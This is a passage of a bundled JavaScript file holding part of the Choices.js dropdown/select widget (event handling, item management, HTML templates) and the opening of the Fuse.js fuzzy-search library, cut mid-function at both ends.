var hasActiveDropdown = this.dropdown.classList.contains(this.config.classNames.activeState);
var activeItems = this.store.getItemsFilteredByActive();
// If target is something that concerns us
if (this.containerOuter.contains(target)) {
// Handle button delete
if (target.hasAttribute('data-button')) {
this._handleButtonAction(activeItems, target);
}
if (!hasActiveDropdown) {
if (this.passedElement.type === 'text') {
if (document.activeElement !== this.input) {
this.input.focus();
}
} else {
if (this.canSearch) {
this.showDropdown(true);
} else {
this.showDropdown();
this.containerOuter.focus();
}
}
} else if (this.passedElement.type === 'select-one' && target !== this.input && !this.dropdown.contains(target)) {
this.hideDropdown(true);
}
} else {
var hasHighlightedItems = activeItems.some(function (item) {
return item.highlighted === true;
});
// De-select any highlighted items
if (hasHighlightedItems) {
this.unhighlightAll();
}
// Remove focus state
this.containerOuter.classList.remove(this.config.classNames.focusState);
// Close all other dropdowns
if (hasActiveDropdown) {
this.hideDropdown();
}
}
}
/**
* Mouse over (hover) event
* @param {Object} e Event
* @return
* @private
*/
}, {
key: '_onMouseOver',
value: function _onMouseOver(e) {
// If the dropdown is either the target or one of its children is the target
if (e.target === this.dropdown || this.dropdown.contains(e.target)) {
if (e.target.hasAttribute('data-choice')) this._highlightChoice(e.target);
}
}
/**
* Paste event
* @param {Object} e Event
* @return
* @private
*/
}, {
key: '_onPaste',
value: function _onPaste(e) {
// Disable pasting into the input if option has been set
if (e.target === this.input && !this.config.paste) {
e.preventDefault();
}
}
/**
* Focus event
* @param {Object} e Event
* @return
* @private
*/
}, {
key: '_onFocus',
value: function _onFocus(e) {
var _this18 = this;
var target = e.target;
// If target is something that concerns us
if (this.containerOuter.contains(target)) {
(function () {
var hasActiveDropdown = _this18.dropdown.classList.contains(_this18.config.classNames.activeState);
var focusActions = {
text: function text() {
if (target === _this18.input) {
_this18.containerOuter.classList.add(_this18.config.classNames.focusState);
}
},
'select-one': function selectOne() {
_this18.containerOuter.classList.add(_this18.config.classNames.focusState);
if (target === _this18.input) {
// Show dropdown if it isn't already showing
if (!hasActiveDropdown) {
_this18.showDropdown();
}
}
},
'select-multiple': function selectMultiple() {
if (target === _this18.input) {
// If element is a select box, the focussed element is the container and the dropdown
// isn't already open, focus and show dropdown
_this18.containerOuter.classList.add(_this18.config.classNames.focusState);
if (!hasActiveDropdown) {
_this18.showDropdown(true);
}
}
}
};
focusActions[_this18.passedElement.type]();
})();
}
}
/**
* Blur event
* @param {Object} e Event
* @return
* @private
*/
}, {
key: '_onBlur',
value: function _onBlur(e) {
var _this19 = this;
var target = e.target;
// If target is something that concerns us
if (this.containerOuter.contains(target)) {
(function () {
var activeItems = _this19.store.getItemsFilteredByActive();
var hasActiveDropdown = _this19.dropdown.classList.contains(_this19.config.classNames.activeState);
var hasHighlightedItems = activeItems.some(function (item) {
return item.highlighted === true;
});
var blurActions = {
text: function text() {
if (target === _this19.input) {
// Remove the focus state
_this19.containerOuter.classList.remove(_this19.config.classNames.focusState);
// De-select any highlighted items
if (hasHighlightedItems) {
_this19.unhighlightAll();
}
// Hide dropdown if it is showing
if (hasActiveDropdown) {
_this19.hideDropdown();
}
}
},
'select-one': function selectOne() {
_this19.containerOuter.classList.remove(_this19.config.classNames.focusState);
if (target === _this19.containerOuter) {
// Hide dropdown if it is showing
if (hasActiveDropdown && !_this19.canSearch) {
_this19.hideDropdown();
}
}
if (target === _this19.input) {
// Hide dropdown if it is showing
if (hasActiveDropdown) {
_this19.hideDropdown();
}
}
},
'select-multiple': function selectMultiple() {
if (target === _this19.input) {
// Remove the focus state
_this19.containerOuter.classList.remove(_this19.config.classNames.focusState);
if (hasActiveDropdown) {
_this19.hideDropdown();
}
// De-select any highlighted items
if (hasHighlightedItems) {
_this19.unhighlightAll();
}
}
}
};
blurActions[_this19.passedElement.type]();
})();
}
}
/**
* Tests value against a regular expression
* @param {string} value Value to test
* @return {Boolean} Whether test passed/failed
* @private
*/
}, {
key: '_regexFilter',
value: function _regexFilter(value) {
if (!value) return;
var regex = this.config.regexFilter;
var expression = new RegExp(regex.source, 'i');
return expression.test(value);
}
/**
* Scroll to an option element
* @param {HTMLElement} option Option to scroll to
* @param {Number} direction Whether option is above or below
* @return
* @private
*/
}, {
key: '_scrollToChoice',
value: function _scrollToChoice(choice, direction) {
var _this20 = this;
if (!choice) return;
var dropdownHeight = this.choiceList.offsetHeight;
var choiceHeight = choice.offsetHeight;
// Distance from bottom of element to top of parent
var choicePos = choice.offsetTop + choiceHeight;
// Scroll position of dropdown
var containerScrollPos = this.choiceList.scrollTop + dropdownHeight;
// Difference between the choice and scroll position
var endPoint = direction > 0 ? this.choiceList.scrollTop + choicePos - containerScrollPos : choice.offsetTop;
var animateScroll = function animateScroll() {
var strength = 4;
var continueAnimation = false;
var easing = void 0;
var distance = void 0;
if (direction > 0) {
easing = (endPoint - _this20.choiceList.scrollTop) / strength;
distance = easing > 1 ? easing : 1;
_this20.choiceList.scrollTop = _this20.choiceList.scrollTop + distance;
if (_this20.choiceList.scrollTop < endPoint) {
continueAnimation = true;
}
} else {
easing = (_this20.choiceList.scrollTop - endPoint) / strength;
distance = easing > 1 ? easing : 1;
_this20.choiceList.scrollTop = _this20.choiceList.scrollTop - distance;
if (_this20.choiceList.scrollTop > endPoint) {
continueAnimation = true;
}
}
if (continueAnimation) {
requestAnimationFrame(function (time) {
animateScroll(time, endPoint, direction);
});
}
};
requestAnimationFrame(function (time) {
animateScroll(time, endPoint, direction);
});
}
/**
* Highlight choice
* @param {HTMLElement} el Element to highlight
* @return
* @private
*/
}, {
key: '_highlightChoice',
value: function _highlightChoice(el) {
var _this21 = this;
// Highlight first element in dropdown
var choices = Array.from(this.dropdown.querySelectorAll('[data-choice-selectable]'));
if (choices && choices.length) {
var highlightedChoices = Array.from(this.dropdown.querySelectorAll('.' + this.config.classNames.highlightedState));
// Remove any highlighted choices
highlightedChoices.forEach(function (choice) {
choice.classList.remove(_this21.config.classNames.highlightedState);
choice.setAttribute('aria-selected', 'false');
});
if (el) {
// Highlight given option
el.classList.add(this.config.classNames.highlightedState);
this.highlightPosition = choices.indexOf(el);
} else {
// Highlight choice based on last known highlight location
var choice = void 0;
if (choices.length > this.highlightPosition) {
// If we have an option to highlight
choice = choices[this.highlightPosition];
} else {
// Otherwise highlight the option before
choice = choices[choices.length - 1];
}
if (!choice) choice = choices[0];
choice.classList.add(this.config.classNames.highlightedState);
choice.setAttribute('aria-selected', 'true');
}
}
}
/**
* Add item to store with correct value
* @param {String} value Value to add to store
* @param {String} label Label to add to store
* @return {Object} Class instance
* @public
*/
}, {
key: '_addItem',
value: function _addItem(value, label) {
var choiceId = arguments.length > 2 && arguments[2] !== undefined ? arguments[2] : -1;
var passedValue = (0, _utils.isType)('String', value) ? value.trim() : value;
var items = this.store.getItems();
var passedLabel = label || passedValue;
var passedOptionId = parseInt(choiceId, 10) || -1;
// If a prepended value has been passed, prepend it
if (this.config.prependValue) {
passedValue = this.config.prependValue + passedValue.toString();
}
// If an appended value has been passed, append it
if (this.config.appendValue) {
passedValue += this.config.appendValue.toString();
}
// Generate unique id
var id = items ? items.length + 1 : 1;
this.store.dispatch((0, _index3.addItem)(passedValue, passedLabel, id, passedOptionId));
if (this.passedElement.type === 'select-one') {
this.removeActiveItems(id);
}
// Run callback if it is a function
if (this.config.callbackOnAddItem) {
var callback = this.config.callbackOnAddItem;
if ((0, _utils.isType)('Function', callback)) {
callback(id, passedValue, this.passedElement);
} else {
console.error('callbackOnAddItem: Callback is not a function');
}
}
return this;
}
/**
* Remove item from store
* @param {Object} item Item to remove
* @param {Function} callback Callback to trigger
* @return {Object} Class instance
* @public
*/
}, {
key: '_removeItem',
value: function _removeItem(item) {
var callback = arguments.length > 1 && arguments[1] !== undefined ? arguments[1] : this.config.callbackOnRemoveItem;
if (!item || !(0, _utils.isType)('Object', item)) {
console.error('removeItem: No item object was passed to be removed');
return;
}
var id = item.id;
var value = item.value;
var choiceId = item.choiceId;
this.store.dispatch((0, _index3.removeItem)(id, choiceId));
// Run callback
if (callback) {
if (!(0, _utils.isType)('Function', callback)) {
console.error('callbackOnRemoveItem: Callback is not a function');
return;
}
callback(id, value, this.passedElement);
}
return this;
}
/**
* Add choice to dropdown
* @param {Boolean} isSelected Whether choice is selected
* @param {Boolean} isDisabled Whether choice is disabled
* @param {String} value Value of choice
* @param {String} Label Label of choice
* @param {Number} groupId ID of group choice is within. Negative number indicates no group
* @return
* @private
*/
}, {
key: '_addChoice',
value: function _addChoice(isSelected, isDisabled, value, label) {
var groupId = arguments.length > 4 && arguments[4] !== undefined ? arguments[4] : -1;
if (!value) return;
// Generate unique id
var choices = this.store.getChoices();
var choiceLabel = label || value;
var choiceId = choices ? choices.length + 1 : 1;
this.store.dispatch((0, _index3.addChoice)(value, choiceLabel, choiceId, groupId, isDisabled));
if (isSelected) {
this._addItem(value, choiceLabel, choiceId);
}
}
/**
* Clear all choices added to the store.
* @return
* @private
*/
}, {
key: '_clearChoices',
value: function _clearChoices() {
this.store.dispatch((0, _index3.clearChoices)());
}
/**
* Add group to dropdown
* @param {Object} group Group to add
* @param {Number} id Group ID
* @param {String} [valueKey] name of the value property on the object
* @param {String} [labelKey] name of the label property on the object
* @return
* @private
*/
}, {
key: '_addGroup',
value: function _addGroup(group, id) {
var _this22 = this;
var valueKey = arguments.length > 2 && arguments[2] !== undefined ? arguments[2] : 'value';
var labelKey = arguments.length > 3 && arguments[3] !== undefined ? arguments[3] : 'label';
var groupChoices = (0, _utils.isType)('Object', group) ? group.choices : Array.from(group.getElementsByTagName('OPTION'));
var groupId = id;
var isDisabled = group.disabled ? group.disabled : false;
if (groupChoices) {
this.store.dispatch((0, _index3.addGroup)(group.label, groupId, true, isDisabled));
groupChoices.forEach(function (option) {
var isOptDisabled = option.disabled || option.parentNode && option.parentNode.disabled || false;
var isOptSelected = option.selected ? option.selected : false;
var label = void 0;
if ((0, _utils.isType)('Object', option)) {
label = option[labelKey] || option[valueKey];
} else {
label = option.innerHTML;
}
_this22._addChoice(isOptSelected, isOptDisabled, option[valueKey], label, groupId);
});
} else {
this.store.dispatch((0, _index3.addGroup)(group.label, group.id, false, group.disabled));
}
}
/**
* Get template from name
* @param {String} template Name of template to get
* @param {...} args Data to pass to template
* @return {HTMLElement} Template
* @private
*/
}, {
key: '_getTemplate',
value: function _getTemplate(template) {
if (!template) return;
var templates = this.config.templates;
for (var _len = arguments.length, args = Array(_len > 1 ? _len - 1 : 0), _key = 1; _key < _len; _key++) {
args[_key - 1] = arguments[_key];
}
return templates[template].apply(templates, args);
}
/**
* Create HTML element based on type and arguments
* @return
* @private
*/
}, {
key: '_createTemplates',
value: function _createTemplates() {
var _this23 = this;
var classNames = this.config.classNames;
var templates = {
containerOuter: function containerOuter(direction) {
return (0, _utils.strToEl)('\n <div class="' + classNames.containerOuter + '" data-type="' + _this23.passedElement.type + '" ' + (_this23.passedElement.type === 'select-one' ? 'tabindex="0"' : '') + ' aria-haspopup="true" aria-expanded="false" dir="' + direction + '"></div>\n ');
},
containerInner: function containerInner() {
return (0, _utils.strToEl)('\n <div class="' + classNames.containerInner + '"></div>\n ');
},
itemList: function itemList() {
return (0, _utils.strToEl)('\n <div class="' + classNames.list + ' ' + (_this23.passedElement.type === 'select-one' ? classNames.listSingle : classNames.listItems) + '"></div>\n ');
},
placeholder: function placeholder(value) {
return (0, _utils.strToEl)('\n <div class="' + classNames.placeholder + '">' + value + '</div>\n ');
},
item: function item(data) {
if (_this23.config.removeItemButton) {
return (0, _utils.strToEl)('\n <div class="' + classNames.item + ' ' + (data.highlighted ? classNames.highlightedState : '') + ' ' + (!data.disabled ? classNames.itemSelectable : '') + '" data-item data-id="' + data.id + '" data-value="' + data.value + '" ' + (data.active ? 'aria-selected="true"' : '') + ' ' + (data.disabled ? 'aria-disabled="true"' : '') + ' data-deletable>\n ' + data.label + '<button class="' + classNames.button + '" data-button>Remove item</button>\n </div>\n ');
}
return (0, _utils.strToEl)('\n <div class="' + classNames.item + ' ' + (data.highlighted ? classNames.highlightedState : classNames.itemSelectable) + '" data-item data-id="' + data.id + '" data-value="' + data.value + '" ' + (data.active ? 'aria-selected="true"' : '') + ' ' + (data.disabled ? 'aria-disabled="true"' : '') + '>\n ' + data.label + '\n </div>\n ');
},
choiceList: function choiceList() {
return (0, _utils.strToEl)('\n <div class="' + classNames.list + '" dir="ltr" role="listbox" ' + (_this23.passedElement.type !== 'select-one' ? 'aria-multiselectable="true"' : '') + '></div>\n ');
},
choiceGroup: function choiceGroup(data) {
return (0, _utils.strToEl)('\n <div class="' + classNames.group + ' ' + (data.disabled ? classNames.itemDisabled : '') + '" data-group data-id="' + data.id + '" data-value="' + data.value + '" role="group" ' + (data.disabled ? 'aria-disabled="true"' : '') + '>\n <div class="' + classNames.groupHeading + '">' + data.value + '</div>\n </div>\n ');
},
choice: function choice(data) {
return (0, _utils.strToEl)('\n <div class="' + classNames.item + ' ' + classNames.itemChoice + ' ' + (data.disabled ? classNames.itemDisabled : classNames.itemSelectable) + '" data-select-text="' + _this23.config.itemSelectText + '" data-choice ' + (data.disabled ? 'data-choice-disabled aria-disabled="true"' : 'data-choice-selectable') + ' data-id="' + data.id + '" data-value="' + data.value + '" ' + (data.groupId > 0 ? 'role="treeitem"' : 'role="option"') + '>\n ' + data.label + '\n </div>\n ');
},
input: function input() {
return (0, _utils.strToEl)('\n <input type="text" class="' + classNames.input + ' ' + classNames.inputCloned + '" autocomplete="off" autocapitalize="off" spellcheck="false" role="textbox" aria-autocomplete="list">\n ');
},
dropdown: function dropdown() {
return (0, _utils.strToEl)('\n <div class="' + classNames.list + ' ' + classNames.listDropdown + '" aria-expanded="false"></div>\n ');
},
notice: function notice(label) {
return (0, _utils.strToEl)('\n <div class="' + classNames.item + ' ' + classNames.itemChoice + '">' + label + '</div>\n ');
},
option: function option(data) {
return (0, _utils.strToEl)('\n <option value="' + data.value + '" selected>' + data.label + '</option>\n ');
}
};
// User's custom templates
var callbackTemplate = this.config.callbackOnCreateTemplates;
var userTemplates = {};
if (callbackTemplate && (0, _utils.isType)('Function', callbackTemplate)) {
userTemplates = callbackTemplate(this, _utils.strToEl);
}
this.config.templates = (0, _utils.extend)(templates, userTemplates);
}
/**
* Create DOM structure around passed select element
* @return
* @private
*/
}, {
key: '_createInput',
value: function _createInput() {
var _this24 = this;
var direction = this.passedElement.getAttribute('dir') || 'ltr';
var containerOuter = this._getTemplate('containerOuter', direction);
var containerInner = this._getTemplate('containerInner');
var itemList = this._getTemplate('itemList');
var choiceList = this._getTemplate('choiceList');
var input = this._getTemplate('input');
var dropdown = this._getTemplate('dropdown');
var placeholder = this.config.placeholder ? this.config.placeholderValue || this.passedElement.getAttribute('placeholder') : false;
this.containerOuter = containerOuter;
this.containerInner = containerInner;
this.input = input;
this.choiceList = choiceList;
this.itemList = itemList;
this.dropdown = dropdown;
// Hide passed input
this.passedElement.classList.add(this.config.classNames.input, this.config.classNames.hiddenState);
this.passedElement.tabIndex = '-1';
this.passedElement.setAttribute('style', 'display:none;');
this.passedElement.setAttribute('aria-hidden', 'true');
this.passedElement.setAttribute('data-choice', 'active');
// Wrap input in container preserving DOM ordering
(0, _utils.wrap)(this.passedElement, containerInner);
// Wrapper inner container with outer container
(0, _utils.wrap)(containerInner, containerOuter);
// If placeholder has been enabled and we have a value
if (placeholder) {
input.placeholder = placeholder;
if (this.passedElement.type !== 'select-one') {
input.style.width = (0, _utils.getWidthOfInput)(input);
}
}
if (!this.config.addItems) this.disable();
containerOuter.appendChild(containerInner);
containerOuter.appendChild(dropdown);
containerInner.appendChild(itemList);
if (this.passedElement.type !== 'text') {
dropdown.appendChild(choiceList);
}
if (this.passedElement.type === 'select-multiple' || this.passedElement.type === 'text') {
containerInner.appendChild(input);
} else if (this.canSearch) {
dropdown.insertBefore(input, dropdown.firstChild);
}
if (this.passedElement.type === 'select-multiple' || this.passedElement.type === 'select-one') {
var passedGroups = Array.from(this.passedElement.getElementsByTagName('OPTGROUP'));
this.highlightPosition = 0;
this.isSearching = false;
if (passedGroups && passedGroups.length) {
passedGroups.forEach(function (group, index) {
_this24._addGroup(group, index);
});
} else {
(function () {
var passedOptions = Array.from(_this24.passedElement.options);
var filter = _this24.config.sortFilter;
var allChoices = _this24.presetChoices;
// Create array of options from option elements
passedOptions.forEach(function (o) {
allChoices.push({
value: o.value,
label: o.innerHTML,
selected: o.selected,
disabled: o.disabled || o.parentNode.disabled
});
});
// If sorting is enabled or the user is searching, filter choices
if (_this24.config.shouldSort) {
allChoices.sort(filter);
}
// Determine whether there is a selected choice
var hasSelectedChoice = allChoices.some(function (choice) {
return choice.selected === true;
});
// Add each choice
allChoices.forEach(function (choice, index) {
var isDisabled = choice.disabled ? choice.disabled : false;
var isSelected = choice.selected ? choice.selected : false;
// Pre-select first choice if it's a single select
if (_this24.passedElement.type === 'select-one') {
if (hasSelectedChoice || !hasSelectedChoice && index > 0) {
// If there is a selected choice already or the choice is not
// the first in the array, add each choice normally
_this24._addChoice(isSelected, isDisabled, choice.value, choice.label);
} else {
// Otherwise pre-select the first choice in the array
_this24._addChoice(true, false, choice.value, choice.label);
}
} else {
_this24._addChoice(isSelected, isDisabled, choice.value, choice.label);
}
});
})();
}
} else if (this.passedElement.type === 'text') {
// Add any preset values seperated by delimiter
this.presetItems.forEach(function (item) {
if ((0, _utils.isType)('Object', item)) {
if (!item.value) return;
_this24._addItem(item.value, item.label, item.id);
} else if ((0, _utils.isType)('String', item)) {
_this24._addItem(item);
}
});
}
}
/*===== End of Private functions ======*/
}]);
return Choices;
}();
exports.default = Choices;
window.Choices = module.exports = Choices;
/***/ },
/* 2 */
/***/ function(module, exports, __webpack_require__) {
/**
* @license
* Fuse - Lightweight fuzzy-search
*
* Copyright (c) 2012-2016 Kirollos Risk <kirollos@gmail.com>.
* All Rights Reserved. Apache Software License 2.0
*
* Licensed under the Apache License, Version 2.0 (the "License")
* you may not use this file except in compliance with the License.
* You may obtain a copy of the License at
*
* http://www.apache.org/licenses/LICENSE-2.0
*
* Unless required by applicable law or agreed to in writing, software
* distributed under the License is distributed on an "AS IS" BASIS,
* WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
* See the License for the specific language governing permissions and
* limitations under the License.
*/
;(function (global) {
'use strict'
function log () {
console.log.apply(console, arguments)
}
var defaultOptions = {
// The name of the identifier property. If specified, the returned result will be a list
// of the items' dentifiers, otherwise it will be a list of the items.
id: null,
// Indicates whether comparisons should be case sensitive.
caseSensitive: false,
// An array of values that should be included from the searcher's output. When this array
// contains elements, each result in the list will be of the form `{ item: ..., include1: ..., include2: ... }`.
// Values you can include are `score`, `matchedLocations`
include: [],
// Whether to sort the result list, by score
shouldSort: true,
// The search function to use
// Note that the default search function ([[Function]]) must conform to the following API:
//
// @param pattern The pattern string to search
// @param options The search option
// [[Function]].constructor = function(pattern, options)
//
// @param text: the string to search in for the pattern
// @return Object in the form of:
// - isMatch: boolean
// - score: Int
// [[Function]].prototype.search = function(text)
searchFn: BitapSearcher,
// Default sort function
sortFn: function (a, b) {
return a.score - b.score
},
// The get function to use when fetching an object's properties.
// The default will search nested paths *ie foo.bar.baz*
getFn: deepValue,
// List of properties that will be searched. This also supports nested properties.
keys: [],
// Will print to the console. Useful for debugging.
verbose: false,
// When true, the search algorithm will search individual words **and** the full string,
// computing the final score as a function of both. Note that when `tokenize` is `true`,
// the `threshold`, `distance`, and `location` are inconsequential for individual tokens.
tokenize: false,
// When true, the result set will only include records that match all tokens. Will only work
// if `tokenize` is also true.
matchAllTokens: false,
// Regex used to separate words when searching. Only applicable when `tokenize` is `true`.
tokenSeparator: / +/g
}
function Fuse (list, options) {
var i
var len
var key
var keys
this.list = list
this.options = options = options || {}
// Add boolean type options
for (i = 0, keys = ['sort', 'shouldSort', 'verbose', 'tokenize'], len = keys.length; i < len; i++) {
key = keys[i]
this.options[key] = key in options ? options[key] : defaultOptions[key]
}
// Add all other options
for (i = 0, keys = ['searchFn', 'sortFn', 'keys', 'getFn', 'include', 'tokenSeparator'], len = keys.length; i < len; i++) {
key = keys[i]
this.options[key] = options[key] || defaultOptions[key]
}
}
Fuse.VERSION = '2.5.0'
/**
* Sets a new list for Fuse to match against.
* @param {Array} list
* @return {Array} The newly set list
* @public
*/
Fuse.prototype.set = function (list) {
this.list = list
return list
}
Fuse.prototype.search = function (pattern) {
if (this.options.verbose) log('\nSearch term:', pattern, '\n')
this.pattern = pattern
this.results = []
this.resultMap = {}
this._keyMap = null
this._prepareSearchers()
this._startSearch()
this._computeScore()
this._sort()
var output = this._format()
return output
}
Fuse.prototype._prepareSearchers = function () {
var options = this.options
var pattern = this.pattern
var searchFn = options.searchFn
var tokens = pattern.split(options.tokenSeparator)
var i = 0
var len = tokens.length
if (this.options.tokenize) {
this.tokenSearchers = []
for (; i < len; i++) {
this.tokenSearchers.push(new searchFn(tokens[i], options))
}
}
this.fullSeacher = new searchFn(pattern, options)
}
Fuse.prototype._startSearch = function () {
var options = this.options
var getFn = options.getFn
var list = this.list
var listLen = list.length
var keys = this.options.keys
var keysLen = keys.length
var key
var weight
var item = null
var i
var j
// Check the first item in the list, if it's a string, then we assume
// that every item in the list is also a string, and thus it's a flattened array.
if (typeof list[0] === 'string') {
// Iterate over every item
for (i = 0; i < listLen; i++) {
this._analyze('', list[i], i, i)
}
} else {
this._keyMap = {}
// Otherwise, the first item is an Object (hopefully), and thus the searching
// is done on the values of the keys of each item.
// Iterate over every item
for (i = 0; i < listLen; i++) {
item = list[i]
// Iterate over every key
for (j = 0; j < keysLen; j++) {
key = keys[j]
if (typeof key !== 'string') {
weight = (1 - key.weight) || 1
this._keyMap[key.name] = {
weight: weight
}
if (key.weight <= 0 || key.weight > 1) {
throw new Error('Key weight has to be > 0 and <= 1')
}
key = key.name
} else {
this._keyMap[key] = {
weight: 1
}
}
this._analyze(key, getFn(item, key, []), item, i)
}
}
}
}
Fuse.prototype._analyze = function (key, text, entity, index) {
var options = this.options
var words
var scores
var exists = false
var existingResult
var averageScore
var finalScore
var scoresLen
var mainSearchResult
var tokenSearcher
var termScores
var word
var tokenSearchResult
var hasMatchInText
var checkTextMatches
var i
var j
// Check if the text can be searched
if (text === undefined || text === null) {
return
}
scores = []
var numTextMatches = 0
if (typeof text === 'string') {
words = text.split(options.tokenSeparator)
if (options.verbose) log('---------\nKey:', key)
if (this.options.tokenize) {
for (i = 0; i < this.tokenSearchers.length; i++) {
tokenSearcher = this.tokenSearchers[i]
if (options.verbose) log('Pattern:', tokenSearcher.pattern)
termScores = []
hasMatchInText = false
for (j = 0; j < words.length; j++) {
word = words[j]
tokenSearchResult = tokenSearcher.search(word)
var obj = {}
if (tokenSearchResult.isMatch) {
obj[word] = tokenSearchResult.score
exists = true
hasMatchInText = true
scores.push(tokenSearchResult.score)
} else {
obj[word] = 1
if (!this.options.matchAllTokens) {
scores.push(1)
}
}
termScores.push(obj)
}
if (hasMatchInText) {
numTextMatches++
}
if (options.verbose) log('Token scores:', termScores)
}
averageScore = scores[0]
scoresLen = scores.length
for (i = 1; i < scoresLen; i++) {
averageScore += scores[i]
}
averageScore = averageScore / scoresLen
if (options.verbose) log('Token score average:', averageScore)
}
mainSearchResult = this.fullSeacher.search(text)
if (options.verbose) log('Full text score:', mainSearchResult.score)
finalScore = mainSearchResult.score
if (averageScore !== undefined) {
finalScore = (finalScore + averageScore) / 2
}
if (options.verbose) log('Score average:', finalScore)
checkTextMatches = (this.options.tokenize && this.options.matchAllTokens) ? numTextMatches >= this.tokenSearchers.length : true
if (options.verbose) log('Check Matches', checkTextMatches)
// If a match is found, add the item to <rawResults>, including its score
if ((exists || mainSearchResult.isMatch) && checkTextMatches) {
// Check if the item already exists in our results
existingResult = this.resultMap[index]
if (existingResult) {
// Use the lowest score
// existingResult.score, bitapResult.score
existingResult.output.push({
key: key,
score: finalScore,
matchedIndices: mainSearchResult.matchedIndices
})
} else {
// Add it to the raw result list
this.resultMap[index] = {
item: entity,
output: [{
key: key,
score: finalScore,
matchedIndices: mainSearchResult.matchedIndices
}]
}
this.results.push(this.resultMap[index])
}
}
} else if (isArray(text)) {
for (i = 0; i < text.length; i++) {
this._analyze(key, text[i], entity, index)
}
}
}
Fuse.prototype._computeScore = function () {
var i
var j
var keyMap = this._keyMap
var totalScore
var output
var scoreLen
var score
var weight
var results = this.results
var bestScore
var nScore
if (this.options.verbose) log('\n\nComputing score:\n')
for (i = 0; i < results.length; i++) {
totalScore = 0
output = results[i].output
scoreLen = output.length
bestScore = 1
for (j = 0; j < scoreLen; j++) {
score = output[j].score
weight = keyMap ? keyMap[output[j].key].weight : 1
nScore = score * weight
if (weight !== 1) {
bestScore = Math.min(bestScore, nScore)
} else {
totalScore += nScore
output[j].nScore = nScore
}
}
if (bestScore === 1) {
results[i].score = totalScore / scoreLen
} else {
results[i].score = bestScore
}
if (this.options.verbose) log(results[i])
}
}
Fuse.prototype._sort = function () {
var options = this.options
if (options.shouldSort) {
if (options.verbose) log('\n\nSorting....')
this.results.sort(options.sortFn)
}
}
Fuse.prototype._format = function () {
var options = this.options
var getFn = options.getFn
var finalOutput = []
var item
var i
var len
var results = this.results
var replaceValue
var getItemAtIndex
var include = options.include
if (options.verbose) log('\n\nOutput:\n\n', results)
// Helper function, here for speed-up, which replaces the item with its value,
// if the options specifies it,
replaceValue = options.id ? function (index) {
results[index].item = getFn(results[index].item, options.id, [])[0]
} : function () {}
getItemAtIndex = function (index) {
var record = results[index]
var data
var j
var output
var _item
var _result
// If `include` has values, put the item in the result
if (include.length > 0) {
data = {
item: record.item
}
if (include.indexOf('matches') !== -1) {
output = record.output
data.matches = []
for (j = 0; j < output.length; j++) {
_item = output[j]
_result = {
indices: _item.matchedIndices
}
if (_item.key) {
_result.key = _item.key
}
data.matches.push(_result)
}
}
if (include.indexOf('score') !== -1) {
data.score = results[index].score
}
} else {
data = record.item
}
return data
}
// From the results, push into a new array only the item identifier (if specified)
// of the entire item. This is because we don't want to return the <results>,
// since it contains other metadata
for (i = 0, len = results.length; i < len; i++) {
replaceValue(i)
item = getItemAtIndex(i)
finalOutput.push(item)
}
return finalOutput
}
// Helpers
function deepValue (obj, path, list) {
var firstSegment
var remaining
var dotIndex
var value
var i
var len
if (!path) {
// If there's no path left, we've gotten to the object we care about.
list.push(obj)
} else {
dotIndex = path.indexOf('.')
if (dotIndex !== -1) {
firstSegment = path.slice(0, dotIndex)
remaining = path.slice(dotIndex + 1)
} else {
firstSegment = path
}
value = obj[firstSegment]
if (value !== null && value !== undefined) {
if (!remaining && (typeof value === 'string' || typeof value === 'number')) {
list.push(value)
} else if (isArray(value)) {
// Search each item in the array.
for (i = 0, len = value.length; i < len; i++) {
deepValue(value[i], remaining, list)
}
} else if (remaining) {
// An object. Recurse further.
deepValue(value, remaining, list)
}
}
}
return list
}
function isArray (obj) {
return Object.prototype.toString.call(obj) === '[object Array]'
}
/**
* Adapted from "Diff, Match and Patch", by Google
*
* http://code.google.com/p/google-diff-match-patch/
*
* Modified by: Kirollos Risk <kirollos@gmail.com>
* -----------------------------------------------
* Details: the algorithm and structure was modified to allow the creation of
* <Searcher> instances with a <search> method which does the actual
* bitap search. The <pattern> (the string that is searched for) is only defined
* once per instance and thus it eliminates redundant re-creation when searching
* over a list of strings.
*
* Licensed under the Apache License, Version 2.0 (the "License")
* you may not use this file except in compliance with the License.
*/
function BitapSearcher (pattern, options) {
options = options || {}
this.options = options
this.options.location = options.location || BitapSearcher.defaultOptions.location
this.options.distance = 'distance' in options ? options.distance : BitapSearcher.defaultOptions.distance
this.options.threshold = 'threshold' in options ? options.threshold : BitapSearcher.defaultOptions.threshold
this.options.maxPatternLength = options.maxPatternLength || BitapSearcher.defaultOptions.maxPatternLength
this.pattern = options.caseSensitive ? pattern : pattern.toLowerCase()
this.patternLen = pattern.length
if (this.patternLen <= this.options.maxPatternLength) {
this.matchmask = 1 << (this.patternLen - 1)
this.patternAlphabet = this._calculatePatternAlphabet()
}
}
BitapSearcher.defaultOptions = {
// Approximately where in the text is the pattern expected to be found?
location: 0,
// Determines how close the match must be to the fuzzy location (specified above).
// An exact letter match which is 'distance' characters away from the fuzzy location
// would score as a complete mismatch. A distance of '0' requires the match be at
// the exact location specified, a threshold of '1000' would require a perfect match
// to be within 800 characters of the fuzzy location to be found using a 0.8 threshold.
distance: 100,
// At what point does the match algorithm give up. A threshold of '0.0' requires a perfect match
// (of both letters and location), a threshold of '1.0' would match anything.
threshold: 0.6,
// Machine word size
maxPatternLength: 32
}
/**
* Initialize the alphabet for the Bitap algorithm.
* @return {Object} Hash of character locations.
* @private
*/
BitapSearcher.prototype._calculatePatternAlphabet = function () {
var mask = {},
i = 0
for (i = 0; i < this.patternLen; i++) {
mask[this.pattern.charAt(i)] = 0
}
for (i = 0; i < this.patternLen; i++) {
mask[this.pattern.charAt(i)] |= 1 << (this.pattern.length - i - 1)
}
return mask
}
/**
* Compute and return the score for a match with `e` errors and `x` location.
* @param {number} errors Number of errors in match.
* @param {number} location Location of match.
* @return {number} Overall score for match (0.0 = good, 1.0 = bad).
* @private
*/
BitapSearcher.prototype._bitapScore = function (errors, location) {
var accuracy = errors / this.patternLen,
proximity = Math.abs(this.options.location - location)
if (!this.options.distance) {
// Dodge divide by zero error.
return proximity ? 1.0 : accuracy
}
return accuracy + (proximity / this.options.distance)
}
/**
* Compute and return the result of the search
* @param {String} text The text to search in
* @return {Object} Literal containing:
* {Boolean} isMatch Whether the text is a match or not
* {Decimal} score Overall score for the match
* @public
*/
BitapSearcher.prototype.search = function (text) {
var options = this.options
var i
var j
var textLen
var location
var threshold
var bestLoc
var binMin
var binMid
var binMax
var start, finish
var bitArr
var lastBitArr
var charMatch
var score
var locations
var matches
var isMatched
var matchMask
var matchedIndices
